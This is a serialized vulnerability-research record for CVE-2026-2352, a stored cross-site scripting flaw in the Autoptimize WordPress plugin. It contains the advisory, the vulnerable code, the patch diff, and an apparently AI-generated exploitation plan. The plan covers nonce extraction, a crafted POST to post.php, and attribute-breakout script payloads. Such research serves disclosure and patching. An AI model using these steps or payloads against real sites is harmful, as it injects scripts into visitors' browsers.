[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ff6p7FXqRkbRxUf0QueizZc_m5sm6ymSUaNj0FjXiNOI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-2352","autoptimize-authenticated-contributor-stored-cross-site-scripting-via-aopostpreload-meta-value","Autoptimize \u003C= 3.1.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ao_post_preload' Meta Value","The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ao_post_preload' meta value in all versions up to, and including, 3.1.14. This is due to insufficient input sanitization in the `ao_metabox_save()` function and missing output escaping when the value is rendered into a `\u003Clink>` tag in `autoptimizeImages.php`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, granted the \"Image optimization\" or \"Lazy-load images\" setting is enabled in the plugin configuration.","autoptimize",null,"\u003C=3.1.14","3.1.15","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-20 00:00:00","2026-03-20 23:25:12",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5f3f9891-710e-49e4-b388-aa6d99c01840?source=api-prod",1,[22,23,24,25,26,27,28,29],"autoptimize.php","classes\u002FautoptimizeExtra.php","classes\u002FautoptimizeImages.php","classes\u002FautoptimizeMetabox.php","classes\u002Fexternal\u002Fphp\u002Fao-minify-html.php","classes\u002Fstatic\u002Fexit-survey\u002Fexit-survey.css","classes\u002Fstatic\u002Fexit-survey\u002Fexit-survey.js","readme.txt","researched",false,3,"# Research Plan: Autoptimize \u003C= 3.1.14 - Authenticated Stored XSS via 'ao_post_preload'\n\n## 1. Vulnerability Summary\nThe Autoptimize plugin is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient sanitization and escaping of the `ao_post_preload` meta value. This value is intended to store the URL of a Largest Contentful Paint (LCP) image to be preloaded. An authenticated attacker with at least Contributor-level access can inject a malicious script into this meta field. When the plugin renders the LCP preload link in the `\u003Chead>` of the affected page (via `autoptimizeImages.php`), the payload is executed in the context of the user's browser.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fpost.php`\n*   **Action:** `editpost` (standard WordPress post update)\n*   **Vulnerable Parameter:** `ao_post_preload`\n*   **Authentication Level:** Contributor or higher (any role capable of editing posts\u002Fpages).\n*   **Preconditions:** \n    *   The \"Image optimization\" or \"Lazy-load images\" setting must be enabled in the plugin configuration.\n    *   The `ao_metabox_save()` function must be triggered by saving a post or page.\n\n## 3. Code Flow\n1.  **Input (Storage):**\n    *   A user with `edit_posts` capability (Contributor+) edits a post\u002Fpage.\n    *   The `autoptimizeMetabox::ao_metabox_content()` function renders a text input field named `ao_post_preload` in the Autoptimize meta box.\n    *   Upon saving the post, the `save_post` action triggers `autoptimizeMetabox::ao_metabox_save()`.\n    *   `ao_metabox_save()` retrieves `$_POST['ao_post_preload']` and saves it using `update_post_meta()` without adequate sanitization (e.g., it fails to use `esc_url_raw` or `sanitize_text_field` properly to prevent HTML injection).\n2.  **Output (Execution):**\n    *   When a user views the published post\u002Fpage, the plugin's frontend image optimization logic in `classes\u002FautoptimizeImages.php` (hooked to `wp_head` or similar via `run_on_frontend`) is executed.\n    *   The code retrieves the `ao_post_preload` meta value.\n    *   The value is echoed directly into a `\u003Clink rel=\"preload\" as=\"image\" href=\"...\">` tag without using `esc_url()` or `esc_attr()`.\n    *   The injected script executes.\n\n## 4. Nonce Acquisition Strategy\nThe `ao_metabox_save()` function validates a nonce named `ao_metabox_nonce` with the action string `ao_metabox`. This nonce is automatically included in the post editor screen for any post type supported by Autoptimize.\n\n1.  Log in as a **Contributor**.\n2.  Navigate to the \"Add New Post\" page: `\u002Fwp-admin\u002Fpost-new.php`.\n3.  Use `browser_eval` to extract the nonce from the hidden input field:\n    ```javascript\n    document.querySelector('input[name=\"ao_metabox_nonce\"]').value\n    ```\n\n## 5. Exploitation Strategy\n1.  **Setup Configuration:** Ensure \"Image optimization\" is active (requires Admin).\n2.  **Preparation:** Log in as a **Contributor** and create a draft post to obtain a `post_ID` and the `ao_metabox_nonce`.\n3.  **Injection:** Perform a POST request to `\u002Fwp-admin\u002Fpost.php` to update the post with the XSS payload in `ao_post_preload`.\n4.  **Verification:** Navigate to the frontend URL of the post and verify the payload renders in the `\u003Chead>`.\n\n### Payload\nTo break out of the `href` attribute of the `\u003Clink>` tag:\n`\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n\n### HTTP Request (Injection)\n*   **Method:** `POST`\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fpost.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: `{{POST_ID}}`\n    *   `ao_metabox_nonce`: `{{NONCE}}`\n    *   `ao_post_preload`: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n    *   `post_title`: `XSS Test`\n    *   `post_type`: `post` (or `page`)\n\n## 6. Test Data Setup\n1.  **Plugin Activation:** Ensure Autoptimize is installed and active.\n2.  **Plugin Config:** Enable image optimization via WP-CLI:\n    ```bash\n    wp option patch insert autoptimize_imgopt_settings autoptimize_imgopt_checkbox_field_1 1\n    ```\n3.  **User Creation:** Create a user with the `contributor` role.\n4.  **Target Content:** The contributor creates a post. The researcher will need the ID of this post.\n\n## 7. Expected Results\n*   The `update_post_meta` call succeeds, storing the raw payload in the database.\n*   When viewing the post frontend, the source code should contain:\n    `\u003Clink rel=\"preload\" as=\"image\" href=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\">`\n*   The browser executes the `alert` dialog.\n\n## 8. Verification Steps\n1.  **Check Database:** Verify the payload is stored correctly in the meta table:\n    ```bash\n    wp post meta get {{POST_ID}} ao_post_preload\n    ```\n2.  **Check Frontend Response:** Use `http_request` to fetch the post page and search for the `\u003Clink rel=\"preload\"` tag to confirm the unescaped payload is present.\n\n## 9. Alternative Approaches\nIf breaking out of the tag fails due to unanticipated server-side filters, try attribute-based injection if the tag uses single quotes:\n*   Payload: `x' onload='alert(1)` (Note: `onload` is less reliable on `\u003Clink>`, tag breakout is preferred).\n*   If `ao_metabox_save` is not accessible to Contributors directly, verify if they can still trigger it via the Gutenberg editor's meta-saving mechanism which often bridges to `save_post`.","The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ao_post_preload' meta value due to insufficient input sanitization in the storage logic and missing output escaping when rendering link tags. This allows authenticated attackers with Contributor-level permissions or higher to inject arbitrary scripts that execute in the context of any user visiting the affected post, provided image optimization or lazy-loading is enabled.","\u002F\u002F classes\u002FautoptimizeMetabox.php:275\nif ( in_array( $opti_type, apply_filters( 'autoptimize_filter_meta_valid_optims', array( 'ao_post_optimize', 'ao_post_js_optimize', 'ao_post_css_optimize', 'ao_post_ccss', 'ao_post_lazyload', 'ao_post_preload' ) ) ) ) {\n    if ( in_array( $opti_type, apply_filters( 'autoptimize_filter_meta_optim_nonbool', array( 'ao_post_preload' ) ) ) ) {\n        if ( isset( $_POST[ $opti_type ] ) ) {\n            $ao_meta_result[ $opti_type ] = $_POST[ $opti_type ];\n        } else {\n            $ao_meta_result[ $opti_type ] = false;\n        }\n    }\n}\n\n---\n\n\u002F\u002F classes\u002FautoptimizeImages.php:804\nif ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) {\n    \u002F\u002F the preload was not in an img tag, so adding a non-responsive preload instead.\n    foreach ( $metabox_preloads as $img_preload ) {\n        $to_preload .= '\u003Clink rel=\"preload\" href=\"' . $img_preload . '\" as=\"image\">';\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.14\u002Fautoptimize.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.15\u002Fautoptimize.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.14\u002Fautoptimize.php\t2025-11-23 14:59:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.15\u002Fautoptimize.php\t2026-03-14 12:44:16.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: Autoptimize\n  * Plugin URI: https:\u002F\u002Fautoptimize.com\u002Fpro\u002F\n  * Description: Makes your site faster by optimizing CSS, JS, Images, Google fonts and more.\n- * Version: 3.1.14\n+ * Version: 3.1.15\n  * Author: Frank Goossens (futtta)\n  * Author URI: https:\u002F\u002Fautoptimize.com\u002Fpro\u002F\n  * Text Domain: autoptimize\n@@ -21,7 +21,7 @@\n     exit;\n }\n \n-define( 'AUTOPTIMIZE_PLUGIN_VERSION', '3.1.14' );\n+define( 'AUTOPTIMIZE_PLUGIN_VERSION', '3.1.15' );\n \n \u002F\u002F plugin_dir_path() returns the trailing slash!\n define( 'AUTOPTIMIZE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.14\u002Fclasses\u002FautoptimizeExtra.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.15\u002Fclasses\u002FautoptimizeExtra.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.14\u002Fclasses\u002FautoptimizeExtra.php\t2025-11-23 14:59:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.15\u002Fclasses\u002FautoptimizeExtra.php\t2026-03-14 12:44:16.000000000 +0000\n@@ -467,7 +467,7 @@\n                 $preload_as = 'other';\n             }\n \n-            $preload_output .= '\u003Clink rel=\"preload\" href=\"' . $preload . '\" as=\"preload_as\"' . $mime_type . $crossorigin . '>';\n+            $preload_output .= '\u003Clink rel=\"preload\" fetchpriority=\"high\" href=\"' . $preload . '\" as=\"' . $preload_as . '\"' . $mime_type . $crossorigin . '>';\n         }\n         $preload_output = apply_filters( 'autoptimize_filter_extra_preload_output', $preload_output );\n \n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.14\u002Fclasses\u002FautoptimizeImages.php\t2025-11-23 14:59:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.15\u002Fclasses\u002FautoptimizeImages.php\t2026-03-14 12:44:16.000000000 +0000\n@@ -801,7 +801,7 @@\n         if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) {\n             \u002F\u002F the preload was not in an img tag, so adding a non-responsive preload instead.\n             foreach ( $metabox_preloads as $img_preload ) {\n-                $to_preload .= '\u003Clink rel=\"preload\" href=\"' . $img_preload . '\" as=\"image\">';\n+                $to_preload .= apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $this->kses_preload_link( '\u003Clink fetchpriority=\"high\" rel=\"preload\" href=\"' . $img_preload . '\" as=\"image\">' ) );\n             }\n         }\n \n@@ -935,7 +935,7 @@\n         if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) {\n             \u002F\u002F the preload was not in an img tag, so adding a non-responsive preload instead.\n             foreach ( $metabox_preloads as $img_preload ) {\n-                $to_preload .= '\u003Clink rel=\"preload\" href=\"' . $img_preload . '\" as=\"image\">';\n+                $to_preload .= apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $this->kses_preload_link( '\u003Clink fetchpriority=\"high\" rel=\"preload\" href=\"' . $img_preload . '\" as=\"image\">' ) );\n             }\n         }\n \n@@ -1053,11 +1054,21 @@\n \n         \u002F\u002F rewrite img tag to link preload img.\n         $_from = array( '\u003Cimg ', ' src=', ' sizes=', ' srcset=' );\n-        $_to   = array( '\u003Clink rel=\"preload\" as=\"image\" ', ' href=', ' imagesizes=', ' imagesrcset=' );\n+        $_to   = array( '\u003Clink fetchpriority=\"high\" rel=\"preload\" as=\"image\" ', ' href=', ' imagesizes=', ' imagesrcset=' );\n         $tag   = str_replace( $_from, $_to, $tag );\n \n-        \u002F\u002F and using kses, remove all unneeded attributes\n-        \u002F\u002F keeping only those we *know* are OK and\u002F or needed\n+        \u002F\u002F sanitize output\n+        $tag = $this->kses_preload_link( $tag );\n+        \n+        \u002F\u002F and provide filter for late changes.\n+        $tag = apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $tag );\n+        \n+        return $tag;\n+    }\n+\n+    public static function kses_preload_link( $_preload ) {\n+        \u002F\u002F using kses, remove all unneeded attributes\n+        \u002F\u002F keeping only those we *know* are OK and\u002F or needed.\n         $allowed_html = array( \n                 'link' => array(\n                     'rel'           => true,\n@@ -1067,11 +1078,12 @@\n                     'imagesrcset'   => true,\n                     'type'          => true,\n                     'media'         => true,\n+                    'fetchpriority' => true,\n                 ),\n             );\n-        $tag = wp_kses( $tag, $allowed_html );\n+        $_preload = wp_kses( $_preload, $allowed_html );\n         \n-        return $tag;\n+        return $_preload;\n     }\n \n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.14\u002Fclasses\u002FautoptimizeMetabox.php\t2024-07-25 17:14:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fautoptimize\u002F3.1.15\u002Fclasses\u002FautoptimizeMetabox.php\t2026-03-14 12:44:16.000000000 +0000\n@@ -273,7 +273,7 @@\n         foreach ( apply_filters( 'autoptimize_filter_meta_valid_optims', array( 'ao_post_optimize', 'ao_post_js_optimize', 'ao_post_css_optimize', 'ao_post_ccss', 'ao_post_lazyload', 'ao_post_preload' ) ) as $opti_type ) {\n             if ( in_array( $opti_type, apply_filters( 'autoptimize_filter_meta_optim_nonbool', array( 'ao_post_preload' ) ) ) ) {\n                 if ( isset( $_POST[ $opti_type ] ) ) {\n-                    $ao_meta_result[ $opti_type ] = $_POST[ $opti_type ];\n+                    $ao_meta_result[ $opti_type ] = sanitize_text_field( $_POST[ $opti_type ] );\n                 } else {\n                     $ao_meta_result[ $opti_type ] = false;\n                 }","The exploit is a Stored XSS attack requiring Contributor-level authentication. \n\n1.  **Authentication**: Log in to the WordPress dashboard as a user with at least 'Contributor' privileges.\n2.  **Nonce Acquisition**: Navigate to the post editor (e.g., `\u002Fwp-admin\u002Fpost-new.php`) and retrieve the value of the `ao_metabox_nonce` hidden input field.\n3.  **Injection**: Send a POST request to `\u002Fwp-admin\u002Fpost.php` with the action `editpost`. Include the parameter `ao_post_preload` containing an XSS payload designed to break out of an HTML attribute (e.g., `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`).\n4.  **Precondition**: Ensure either 'Image optimization' or 'Lazy-load images' is enabled in the Autoptimize plugin settings (usually requires Administrator access to configure initially).\n5.  **Trigger**: Navigate to the published post. The plugin will render the malicious payload within the `\u003Chead>` section inside a `\u003Clink rel=\"preload\">` tag, executing the script.","gemini-3-flash-preview","2026-04-18 01:45:36","2026-04-18 01:46:03",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.1.14","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fautoptimize\u002Ftags\u002F3.1.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fautoptimize.3.1.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fautoptimize\u002Ftags\u002F3.1.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fautoptimize.3.1.15.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fautoptimize\u002Ftags"]